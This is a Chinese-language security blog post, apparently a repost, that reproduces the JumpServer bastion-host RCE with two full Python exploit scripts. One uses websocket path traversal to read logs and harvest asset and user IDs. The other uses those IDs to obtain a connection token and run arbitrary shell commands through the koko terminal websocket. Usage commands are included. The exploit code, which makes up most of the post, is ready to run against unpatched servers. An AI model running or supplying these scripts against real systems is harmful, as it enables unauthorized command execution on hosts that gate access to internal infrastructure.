jumpserver(堡垒机) RCE 详细复现
2021-01-22 12:11:10 Author: mp.weixin.qq.com(查看原文) 阅读量:143 收藏


文章来源:EDI安全

01

前言

 JumpServer 开源堡垒机部署广泛,遵循GNU GPL v2.0开源协议,是符合 4A 的专业运维安全审计系统

 网上公众号&&大佬的分析文章已经很多了,参考了360安全忍者师傅的分析以后,替大家踩踩坑做一下复现。

02

流程

1.通过ws连接jumpserver的未授权api,进行日志读取 获取 (system_id,target_id,system_user_id)2.利用 /api/v1/authentication/connection-token/?user-only=1  获取token (此token 20s内有效)3.通过ws 连接 /koko/ws/token/?target_id  带入刚刚获取的token_id 进行执行命令

03

获取日志

#进行日志读取 获取 (system_id,target_id,system_user_id)import asyncioimport websocketsimport jsonimport reimport systry:    ip=sys.argv[1]except:    print("example: python jumpserver_getlog_edi.py 127.0.0.1:8080")    exit()async def send_msg(websocket,_text):    print("##########send payload")    print("##########wait some time")    await websocket.send(_text)    recv_text = await websocket.recv()    print(recv_text)async def main_logic():    async with websockets.connect(f"ws://{ip}/ws/ops/tasks/log/") as websocket:        _text = json.dumps({"task": "../../../../../../../opt/jumpserver/logs/gunicorn"})        await send_msg(websocket,_text)        while True:            recv_text = await websocket.recv()            recv_text=json.loads(recv_text)           # print(recv_text['message'])           #print(len(recv_text['message']))            if '/api/v1/perms/asset-permissions/user/validate/' in recv_text['message']:                pattern = re.compile(                    '\/api\/v1\/perms\/asset-permissions\/user\/validate\/\?action_name=connect&asset_id=(?P<asset>.*)&cache_policy=\d&system_user_id=(?P<system_user>.*)&user_id=(?P<user>.*) HTTP/1.1" 200 12')                s = pattern.search(recv_text['message'])                print(s.groupdict())            if len(recv_text['message']) < 100:                breakasyncio.get_event_loop().run_until_complete(main_logic())print("end")

04

执行命令

执行命令(刷取token,执行)

import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None"async def send_msg(websocket,_text):    if _text == "exit":        print(f'you have enter "exit", goodbye')        await websocket.close(reason="user exit")        return False    await websocket.send(_text)    recv_text = await websocket.recv()    print(f"{recv_text}")async def main_logic(cmd):    print("#######start ws")    async with websockets.connect(target) as websocket:        recv_text = await websocket.recv()        print(f"{recv_text}")        resws=json.loads(recv_text)        id = resws['id']        print("get ws id:"+id)        print("###############")        print("init ws")        print("###############")        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})        await send_msg(websocket,inittext)        for i in range(4):            recv_text = await websocket.recv()            print(f"{recv_text}")        print("###############")        print(f"exec cmd:{cmd}")        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})        print(cmdtext)        await send_msg(websocket, cmdtext)        for i in range(4):            recv_text = await websocket.recv()            print(f"{recv_text}")        print('#######finish')if __name__ == '__main__':    try:        import sys        host=sys.argv[1]        cmd=sys.argv[2]        if host[-1]=='/':            host=host[:-1]        print(host)        data = {'asset': '6d519570-b89c-495b-bffb-f958cccaaf4c', 'system_user': '3ced8e58-8a88-4389-93cb-0bf718e8e22e', 'user': 'e6b344c0-682e-4e5c-845a-fb064e7bf673'}        print("##################")        print("get token url:%s" % (host + url,))        print("##################")        res = requests.post(host + url, json=data)        token = res.json()["token"]        print("token:%s", (token,))        print("##################")        target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token        print("target ws:%s" % (target,))        asyncio.get_event_loop().run_until_complete(main_logic(cmd))    except:        print("python jumpserver.py http://127.0.0.1 whoami")

05

复现

0x01

python jumpserver_getlog.py 127.0.0.1:8080

获取所用的三个ID

0x02

替换RCE脚本的ID 53行处

0x03

python jumpserver_rce.py http://x.x.x.x:8080/  "ls -al"

看到这个就执行成功啦

推荐文章++++

*CVE-2021-3019:Lanproxy任意文件读取漏洞复现

*CVE-2020-17518&17519:Flink两个漏洞复现

*内网域工具开发以及相关漏洞复现


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650501876&idx=4&sn=df96f7f6c7d2c83ade48117ef99562ee&chksm=83ba1710b4cd9e06bbaa343cda74974a80a0024930cef5439ee92a63005b5ef31412c8f5d370#rd
如有侵权请联系:admin#unsafe.sh